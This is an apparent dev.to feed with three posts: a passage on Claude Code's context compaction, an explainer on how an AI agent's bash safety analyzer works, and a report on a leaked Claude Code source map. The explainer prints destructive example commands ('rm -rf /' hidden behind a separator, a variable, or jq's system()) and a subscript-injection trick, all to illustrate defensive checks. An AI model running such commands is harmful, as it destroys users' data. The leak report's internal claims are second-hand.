&lt;pre class="highlight plaintext"&gt;&lt;code&gt;start from first unsummarized message
if already at maxTokens (40K): stop
if already meeting minTokens (10K) AND minTextBlockMessages (5): stop
otherwise: expand backward until one of above conditions met
floor: most recent compact boundary (can't go before it)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The API invariant adjustment ensures the keep boundary doesn't split tool_use/tool_result pairs or thinking blocks that share the same message ID. It walks backward to include any orphaned pairs.&lt;/p&gt;

&lt;p&gt;The token count estimate guards against a pathological loop: if the post-compact token count would already exceed the auto-compact threshold, the system rejects the result and returns null. Without this guard, session memory compaction would succeed, the next turn would trigger auto-compact again (because the kept messages are too large), triggering another session memory compact, and so on.&lt;/p&gt;

&lt;p&gt;Session memory compaction is significantly cheaper — no model call, no 20K output token generation. But it depends on the quality of the pre-extracted notes, which may miss nuances that a dedicated summarization call would capture.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Session Memory File Format
&lt;/h3&gt;

&lt;p&gt;The extraction prompt defines a structured markdown template with ten sections:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Session Title&lt;/strong&gt; — 5-10 word title&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Current State&lt;/strong&gt; — pending tasks, next steps&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Task Specification&lt;/strong&gt; — what the user asked, design decisions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Files and Functions&lt;/strong&gt; — important files and why they're relevant&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Workflow&lt;/strong&gt; — bash commands, execution order, interpreting output&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Errors &amp;amp; Corrections&lt;/strong&gt; — encountered errors and their fixes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Codebase and System Documentation&lt;/strong&gt; — important components, how they fit together&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Learnings&lt;/strong&gt; — what worked, what to avoid&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Key Results&lt;/strong&gt; — exact user-requested output&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Worklog&lt;/strong&gt; — step-by-step summary of work done&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each section is capped at 2,000 tokens. The total file is capped at 12,000 tokens. When a section grows past its limit, the extraction prompt includes a reminder: "section must be condensed." When the total exceeds 12,000: "CRITICAL: file exceeds max, aggressively shorten."&lt;/p&gt;

&lt;p&gt;Before including session memory in a compaction result, the content is further truncated via &lt;code&gt;truncateSessionMemoryForCompact&lt;/code&gt;. This truncates each section to ~2,000 tokens (8,000 characters), preserving section headers and italic descriptions. An overflow marker tells the model it can read the full file if needed.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Fallback Chain
&lt;/h3&gt;

&lt;p&gt;The full compaction fallback chain is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Session memory compact&lt;/strong&gt; — cheapest, fastest, depends on extraction quality&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Full compact with prompt cache sharing&lt;/strong&gt; — expensive but thorough, reuses cached prefix&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Full compact streaming&lt;/strong&gt; — fallback if cache sharing fails&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PTL retry with head truncation&lt;/strong&gt; — if compact itself exceeds context window&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;User error message&lt;/strong&gt; — "Press esc twice to go up a few messages and try again"&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each tier is tried only when the previous one fails or is unavailable.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Cost Model
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stage&lt;/th&gt;
&lt;th&gt;Input Tokens&lt;/th&gt;
&lt;th&gt;Output Tokens&lt;/th&gt;
&lt;th&gt;Latency&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Microcompact (cached)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;~0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microcompact (time-gap)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;~0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session memory compact&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;~0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Full compact&lt;/td&gt;
&lt;td&gt;~167K&lt;/td&gt;
&lt;td&gt;up to 20K&lt;/td&gt;
&lt;td&gt;1 model turn&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;For full compact at the 200K threshold: 167K tokens of old history become ~20K tokens of summary plus rehydrated attachments. Net savings: ~147K tokens. The cost is one model turn's latency plus the input/output token charges for the summarization call.&lt;/p&gt;

&lt;p&gt;Microcompact and session memory compact are essentially free — no model call, no token charges. They exist to defer the expensive full compact as long as possible.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Full Round-Trip
&lt;/h2&gt;

&lt;p&gt;To understand how the pieces fit together, trace one complete auto-compact cycle through the system:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. The REPL starts the query loop.&lt;/strong&gt; When the user sends a message, &lt;code&gt;REPL.tsx&lt;/code&gt; calls the &lt;code&gt;query()&lt;/code&gt; generator, which yields messages as they arrive. The REPL consumes them via &lt;code&gt;for await (event of query(...))&lt;/code&gt; and appends each to the UI.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Microcompact runs first.&lt;/strong&gt; Before anything else in the query loop, &lt;code&gt;microcompactMessages&lt;/code&gt; checks whether tool results should be cleared. If the cache is warm, it queues cache edits. If the user was idle for an hour, it mutates the message array directly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Auto-compact checks the threshold.&lt;/strong&gt; &lt;code&gt;autoCompactIfNeeded&lt;/code&gt; is called with the current messages, the tool use context, cache-safe parameters, and the tracking state. The tracking state is a persistent object threaded through the query loop — it carries the circuit breaker count, the turn counter, and the previous compact's turn ID across iterations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. The compaction runs.&lt;/strong&gt; If the threshold is exceeded, the system tries session memory first, then falls back to full compact. The full compact spawns a forked agent with the summarization prompt, streams the response, handles PTL retries if needed, and builds the post-compact message array.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Post-compact messages are yielded.&lt;/strong&gt; The query generator yields the boundary marker, summary messages, attachments, and hook results one at a time. Each &lt;code&gt;yield&lt;/code&gt; sends the message back to the REPL.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. The REPL detects the boundary.&lt;/strong&gt; When &lt;code&gt;onQueryEvent&lt;/code&gt; receives a compact boundary message, it handles it specially: in fullscreen mode, it keeps pre-compact messages for scrollback. In normal mode, it replaces the entire message array with just the boundary. It bumps the conversation ID (a random UUID), which forces React to remount all message rows — ensuring stale UI state doesn't persist.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. The query loop continues.&lt;/strong&gt; After yielding post-compact messages, the query loop replaces its internal &lt;code&gt;messagesForQuery&lt;/code&gt; with the compacted set and continues to the API call. The model sees only the summary, attachments, and the new user message. The tracking state is reset: turn counter to 0, turn ID to a fresh UUID, consecutive failures to 0.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8. If the API call fails with prompt-too-long&lt;/strong&gt;, reactive compaction (when enabled) catches it. Reactive compact is the mirror of proactive auto-compact — instead of preventing the PTL error, it recovers from one. The error is "withheld" (not yielded to the REPL) while recovery is attempted. If recovery succeeds, the query loop continues with the compacted messages. If it fails, the withheld error is yielded and the session returns to the user.&lt;/p&gt;

&lt;p&gt;This round-trip — REPL → query generator → microcompact → auto-compact → forked agent → stream → boundary → yield → REPL — is the complete execution path. Every compaction, whether manual or auto, follows this flow.&lt;/p&gt;

&lt;h2&gt;
  
  
  Closing
&lt;/h2&gt;

&lt;p&gt;Every Claude Code conversation manages its context window through this pipeline:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Token monitoring&lt;/strong&gt; — canonical context size measurement, parallel tool call handling, threshold comparison with 13K buffer&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Circuit breaker&lt;/strong&gt; — max 3 consecutive failures before stopping auto-compact attempts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Microcompact&lt;/strong&gt; — clear stale tool results (time-based mutation or cached server-side edits) without a model call&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Full compact&lt;/strong&gt; — 9-section summarization prompt, analysis scratchpad, NO_TOOLS dual-instruction, PTL retry with head truncation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prompt cache sharing&lt;/strong&gt; — forked agent reuses the main conversation's cached prefix for the summarization call&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Post-compact rehydration&lt;/strong&gt; — 5 recent files (50K budget), active skills (25K budget), plan files, async agent status, tool deltas, MCP instructions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Post-compact cleanup&lt;/strong&gt; — 10+ caches cleared, main-thread/subagent scope isolation, deliberate non-clears for cost savings&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Session memory compact&lt;/strong&gt; — pre-extracted markdown notes as a cheap alternative to model-based summarization&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The system is designed to be invisible. The user keeps working. The conversation keeps going. Behind the scenes, context is compressed, caches are managed, and critical information is preserved. The only visible sign is a brief "Compacted..." message — and even that can be expanded to see the full original transcript.&lt;/p&gt;

&lt;p&gt;The fail-closed principle applies here too, but differently than in security. When compaction fails, the system doesn't silently drop messages. It retries with progressively more aggressive truncation, circuit-breaks after repeated failures, and ultimately asks the user to intervene. The alternative — silently losing context — would be worse than any interruption.&lt;/p&gt;

&lt;p&gt;The design reflects a hierarchy of priorities: correctness (never lose context silently) over cost (minimize API calls) over latency (minimize user-visible delay). Microcompact optimizes for cost and latency. Full compact prioritizes correctness. Session memory compact tries to get all three. The fallback chain ensures that even in adversarial conditions — massive conversations, API errors, extraction failures — the system degrades gracefully rather than catastrophically.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>claudecode</category>
      <category>architecture</category>
      <category>devtools</category>
    </item>
    <item>
      <title>How Bash Command Safety Analysis Works in AI Systems</title>
      <dc:creator>Laurent DeSegur</dc:creator>
      <pubDate>Mon, 06 Apr 2026 14:30:13 +0000</pubDate>
      <link>https://dev.to/oldeucryptoboi/how-bash-command-safety-analysis-works-in-ai-systems-2nn2</link>
      <guid>https://dev.to/oldeucryptoboi/how-bash-command-safety-analysis-works-in-ai-systems-2nn2</guid>
      <description>&lt;h2&gt;
  
  
  Most people think validating shell commands is simple. Scan for &lt;code&gt;rm&lt;/code&gt;, block &lt;code&gt;eval&lt;/code&gt;, done. It's not even close.
&lt;/h2&gt;




&lt;p&gt;This is a clean-room technical reconstruction of how an AI-assisted system can evaluate the safety of bash commands before execution. Everything here is based on externally observable behavior, publicly available technical patterns, and general shell semantics. No proprietary source code or internal materials were accessed.&lt;/p&gt;

&lt;p&gt;All mechanisms described are conceptual reconstructions — how such a system &lt;em&gt;can&lt;/em&gt; be designed, not documentation of any specific implementation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The core problem
&lt;/h2&gt;

&lt;p&gt;At first glance, validating shell commands appears simple. Scan for dangerous patterns — &lt;code&gt;rm&lt;/code&gt;, &lt;code&gt;eval&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt;, pipes, redirects — and block them.&lt;/p&gt;

&lt;p&gt;This approach fails immediately.&lt;/p&gt;

&lt;p&gt;Consider:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"safe"&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Versus:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"safe ; rm -rf /"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A superficial parser cannot distinguish whether &lt;code&gt;;&lt;/code&gt; is a command separator or part of a quoted string.&lt;/p&gt;

&lt;p&gt;Shell syntax includes quoting rules, variable expansion, command substitution, arithmetic evaluation, brace expansion, and process substitution. Any of these can transform harmless-looking text into dangerous execution.&lt;/p&gt;

&lt;p&gt;A reliable system must understand the &lt;em&gt;structure&lt;/em&gt; of commands, not just their text.&lt;/p&gt;

&lt;h2&gt;
  
  
  Design principle: fail closed
&lt;/h2&gt;

&lt;p&gt;A robust analyzer follows a strict rule: if a command cannot be fully understood, it must not be automatically approved.&lt;/p&gt;

&lt;p&gt;This leads to an allowlist-based design. Only known-safe constructs are accepted. Everything else is treated as "too complex" and requires user confirmation.&lt;/p&gt;

&lt;p&gt;This avoids the fundamental weakness of blocklists — where every new attack vector is an automatic bypass. With an allowlist, every new construct triggers a prompt instead.&lt;/p&gt;

&lt;h2&gt;
  
  
  The multi-layer pipeline
&lt;/h2&gt;

&lt;p&gt;A well-designed system runs commands through a pipeline of defensive layers, each addressing a different class of failure:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Pre-parse validation&lt;/li&gt;
&lt;li&gt;Structured parsing (AST)&lt;/li&gt;
&lt;li&gt;Allowlist-based traversal&lt;/li&gt;
&lt;li&gt;Variable scope tracking&lt;/li&gt;
&lt;li&gt;Controlled placeholder system&lt;/li&gt;
&lt;li&gt;Semantic validation&lt;/li&gt;
&lt;li&gt;Path and filesystem checks&lt;/li&gt;
&lt;li&gt;Policy enforcement&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let's walk through each one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 1: pre-parse validation
&lt;/h2&gt;

&lt;p&gt;Before parsing, the raw command string is inspected for patterns that create ambiguity between what a parser sees and what the shell executes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Control characters.&lt;/strong&gt; Hidden bytes can alter how text is interpreted. A null byte, a backspace sequence, or an ANSI escape code can make a command look different in a terminal than it does to a parser.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Invisible Unicode.&lt;/strong&gt; Characters like zero-width space can visually disguise commands. What looks like &lt;code&gt;ls&lt;/code&gt; might actually contain invisible characters that change execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Backslash line continuation.&lt;/strong&gt; This is subtle:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;tr&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
aceroute
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Appears as two tokens but executes as &lt;code&gt;traceroute&lt;/code&gt;. A parser that doesn't handle continuation will see something different from the shell.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shell-specific extensions.&lt;/strong&gt; Features from zsh may not match bash parsing rules. If the analyzer assumes bash semantics, zsh-specific syntax creates ambiguity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Brace obfuscation.&lt;/strong&gt; Complex quoting inside &lt;code&gt;{}&lt;/code&gt; can mislead simple parsers.&lt;/p&gt;

&lt;p&gt;The goal of this layer: eliminate inputs where different interpreters would disagree on what the command means.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 2: structured parsing
&lt;/h2&gt;

&lt;p&gt;Instead of regex, the system builds a syntax tree — an AST.&lt;/p&gt;

&lt;p&gt;This lets it separate commands, identify arguments, and track structure without execution. But parsing alone isn't sufficient. The parser must never execute the command it's analyzing.&lt;/p&gt;

&lt;p&gt;Resource limits matter here too. Maximum input size, maximum parse complexity, strict time limits. If any are exceeded, the command is marked as too complex. This prevents adversarial inputs designed to hang the parser.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 3: allowlist AST traversal
&lt;/h2&gt;

&lt;p&gt;After parsing, the system walks the syntax tree. The critical rule: only explicitly supported node types are allowed.&lt;/p&gt;

&lt;p&gt;Supported constructs include simple commands, pipelines, conditionals, and variable assignments. Anything the walker doesn't recognize — any unknown node type — is immediately classified as too complex.&lt;/p&gt;

&lt;p&gt;This is the most important design decision in the entire pipeline. It means the system doesn't need to enumerate every dangerous pattern. It only needs to enumerate safe ones.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 4: variable scope tracking
&lt;/h2&gt;

&lt;p&gt;Shell behavior depends heavily on execution order, and this is where naive analyzers break.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nv"&gt;FLAG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;--safe&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; cmd &lt;span class="nv"&gt;$FLAG&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A naive system might assume &lt;code&gt;$FLAG&lt;/code&gt; is always set. In reality, &lt;code&gt;FLAG&lt;/code&gt; may never be assigned depending on how &lt;code&gt;||&lt;/code&gt; and &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; chain.&lt;/p&gt;

&lt;p&gt;The analyzer models branching (&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;, &lt;code&gt;||&lt;/code&gt;), subshells (&lt;code&gt;()&lt;/code&gt;), and pipelines. Variables are tracked with correct execution semantics — if a variable might not be defined in all branches, it's treated as unknown.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 5: the placeholder system
&lt;/h2&gt;

&lt;p&gt;Some constructs can't be resolved statically.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"commit &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;git rev-parse HEAD&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of rejecting the entire command, the outer command is preserved and the inner command is extracted and analyzed separately.&lt;/p&gt;

&lt;p&gt;Placeholders like &lt;code&gt;__CMDSUB_OUTPUT__&lt;/code&gt; (for command substitutions) and &lt;code&gt;__TRACKED_VAR__&lt;/code&gt; (for unknown variables) let the analyzer reason about the structure of a command without needing to know the runtime values.&lt;/p&gt;

&lt;p&gt;But there's a critical constraint — bare variable risk:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;VAR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"-rf /"&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nv"&gt;$VAR&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell expands this into &lt;code&gt;rm -rf /&lt;/code&gt;. To prevent this, variables containing whitespace or glob patterns are rejected unless quoted. The quoting distinction between &lt;code&gt;$VAR&lt;/code&gt; and &lt;code&gt;"$VAR"&lt;/code&gt; is load-bearing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 6: semantic validation
&lt;/h2&gt;

&lt;p&gt;Even syntactically valid, structurally understood commands can be dangerous.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Eval-like behavior.&lt;/strong&gt; Commands that execute strings as code — &lt;code&gt;eval&lt;/code&gt;, &lt;code&gt;source&lt;/code&gt;, &lt;code&gt;exec&lt;/code&gt; — are inherently unsafe because their behavior depends on runtime values the analyzer can't see.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Indirect execution.&lt;/strong&gt; Traps, dynamic loading, and subshell triggers can execute code as a side effect of seemingly safe operations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Embedded execution in tools.&lt;/strong&gt; This is the sneaky one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;jq &lt;span class="s1"&gt;'system("rm -rf /")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The outer command is &lt;code&gt;jq&lt;/code&gt;. The inner payload is arbitrary shell execution. Any tool with its own expression language — &lt;code&gt;awk&lt;/code&gt;, &lt;code&gt;perl&lt;/code&gt;, &lt;code&gt;jq&lt;/code&gt;, &lt;code&gt;find -exec&lt;/code&gt; — can be a vector.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Subscript evaluation.&lt;/strong&gt; Some shell expressions trigger execution during evaluation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;test&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s1"&gt;'a[$(cmd)]'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The array subscript gets evaluated, which runs &lt;code&gt;cmd&lt;/code&gt;. This is a real bash behavior that most people don't know about.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 7: filesystem and path safety
&lt;/h2&gt;

&lt;p&gt;Commands are categorized by their filesystem impact: read, write, or destructive.&lt;/p&gt;

&lt;p&gt;Certain paths are always sensitive — &lt;code&gt;/etc&lt;/code&gt;, &lt;code&gt;/usr&lt;/code&gt;, &lt;code&gt;/bin&lt;/code&gt;, &lt;code&gt;/proc&lt;/code&gt; — and require explicit approval regardless of the command.&lt;/p&gt;

&lt;p&gt;Special cases matter here. The &lt;code&gt;--&lt;/code&gt; delimiter (&lt;code&gt;rm -- -file&lt;/code&gt;) must not be misinterpreted as flags. Process substitution (&lt;code&gt;&amp;gt;(command)&lt;/code&gt;) can hide side effects. Directory changes followed by writes (&lt;code&gt;cd dir &amp;amp;&amp;amp; write file&lt;/code&gt;) create ambiguity without execution tracking.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 8: policy enforcement
&lt;/h2&gt;

&lt;p&gt;After all analysis, commands are evaluated against configurable rules with three possible outcomes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Allow&lt;/strong&gt; — safe and fully understood&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ask&lt;/strong&gt; — unclear, complex, or borderline&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deny&lt;/strong&gt; — explicitly forbidden&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Rules can match exactly, by prefix, or by pattern. The system also strips wrappers like &lt;code&gt;timeout&lt;/code&gt; and &lt;code&gt;env&lt;/code&gt; to analyze the underlying command, detects compound commands, and performs cross-segment analysis — because even if &lt;code&gt;cd dir&lt;/code&gt; and &lt;code&gt;git status&lt;/code&gt; are individually safe, their combination may not be.&lt;/p&gt;

&lt;h2&gt;
  
  
  The key insight
&lt;/h2&gt;

&lt;p&gt;This system doesn't attempt to prove commands are safe. It answers a narrower question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Can we fully understand this command with high confidence?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If the answer is no, it asks the user.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pre-checks&lt;/td&gt;
&lt;td&gt;Remove ambiguity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Parsing&lt;/td&gt;
&lt;td&gt;Understand structure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AST allowlist&lt;/td&gt;
&lt;td&gt;Reject unknown constructs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scope tracking&lt;/td&gt;
&lt;td&gt;Preserve execution semantics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Placeholders&lt;/td&gt;
&lt;td&gt;Handle dynamic behavior&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Semantics&lt;/td&gt;
&lt;td&gt;Detect dangerous intent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Path validation&lt;/td&gt;
&lt;td&gt;Protect filesystem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rules&lt;/td&gt;
&lt;td&gt;Enforce policy&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Eight layers. Each one catches things the others miss. The design isn't clever — it's thorough. And the default answer to uncertainty is always the same: don't execute. Ask.&lt;/p&gt;

&lt;p&gt;That's a broader principle worth remembering. Uncertainty should never default to execution.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Follow me on &lt;a href="https://x.com/oldeucryptoboi" rel="noopener noreferrer"&gt;X&lt;/a&gt; — I post as &lt;a class="mentioned-user" href="https://dev.to/oldeucryptoboi"&gt;@oldeucryptoboi&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>bash</category>
      <category>devtools</category>
    </item>
    <item>
      <title>The Claude Code Leak: What Anthropic Accidentally Revealed About the Future of AI</title>
      <dc:creator>Laurent DeSegur</dc:creator>
      <pubDate>Wed, 01 Apr 2026 23:41:17 +0000</pubDate>
      <link>https://dev.to/oldeucryptoboi/the-claude-code-leak-what-anthropic-accidentally-revealed-about-the-future-of-ai-hc4</link>
      <guid>https://dev.to/oldeucryptoboi/the-claude-code-leak-what-anthropic-accidentally-revealed-about-the-future-of-ai-hc4</guid>
      <description>&lt;h2&gt;
  
  
  A source map in an npm package exposed 512,000 lines of TypeScript. What's inside is the first public blueprint of a production AI agent — and the gap between what's shipped and what's built is staggering.
&lt;/h2&gt;




&lt;p&gt;On March 31, 2026, Anthropic made a mistake that quietly exposed something much bigger than intended.&lt;/p&gt;

&lt;p&gt;A routine npm release of Claude Code included a source map file — &lt;code&gt;cli.js.map&lt;/code&gt;. Source maps are debugging tools that map compressed production code back to its original, human-readable source. This one contained the entire TypeScript codebase as a string and pointed to an internal Anthropic cloud storage bucket where the complete, unobfuscated source was available as a ZIP download.&lt;/p&gt;

&lt;p&gt;Anthropic confirmed it was "a release packaging issue caused by human error," not a targeted hack. They also noted that a similar source map leak had been patched in early 2025 and then apparently forgotten — which makes this a regression, not a first offense.&lt;/p&gt;

&lt;p&gt;But by then, the code was already circulating. And what surfaced wasn't just implementation details. It was a blueprint for what AI-assisted development is actually becoming behind closed doors.&lt;/p&gt;

&lt;h2&gt;
  
  
  The "ant" flag: a two-tier reality
&lt;/h2&gt;

&lt;p&gt;Buried in the code was a flag: &lt;code&gt;USER_TYPE === 'ant'&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It marked internal Anthropic employees and quietly unlocked a different version of Claude Code. Not a different model — the same model, with better infrastructure around it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Verification loops.&lt;/strong&gt; The public version of Claude Code reports a task as "done" once the code is written. The internal &lt;code&gt;ant&lt;/code&gt; version triggers a verification loop — automatically running type-checks and linters to confirm the code actually works before notifying the user. The difference between "I wrote it" and "I wrote it and it compiles."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hallucination fixes.&lt;/strong&gt; Internal comments in the leaked code noted a 29–30% false-claims rate in the standard model. Anthropic built a fix for this. They kept it gated behind the &lt;code&gt;ant&lt;/code&gt; flag.&lt;/p&gt;

&lt;p&gt;The Claude Code that Anthropic employees use every day is not the same Claude Code the rest of us use. The model is the same. The wrapper is not. And that wrapper is the difference between an agent that checks its own work and one that doesn't.&lt;/p&gt;

&lt;h2&gt;
  
  
  KAIROS: the always-on background agent
&lt;/h2&gt;

&lt;p&gt;The most important thing in the leak wasn't what Claude Code is today. It's what it's becoming.&lt;/p&gt;

&lt;p&gt;KAIROS — named after the Greek concept of "the right moment" — is described in the code as an autonomous daemon mode. It shifts Claude Code from a reactive tool that waits for your command to a proactive agent that works while you're idle.&lt;/p&gt;

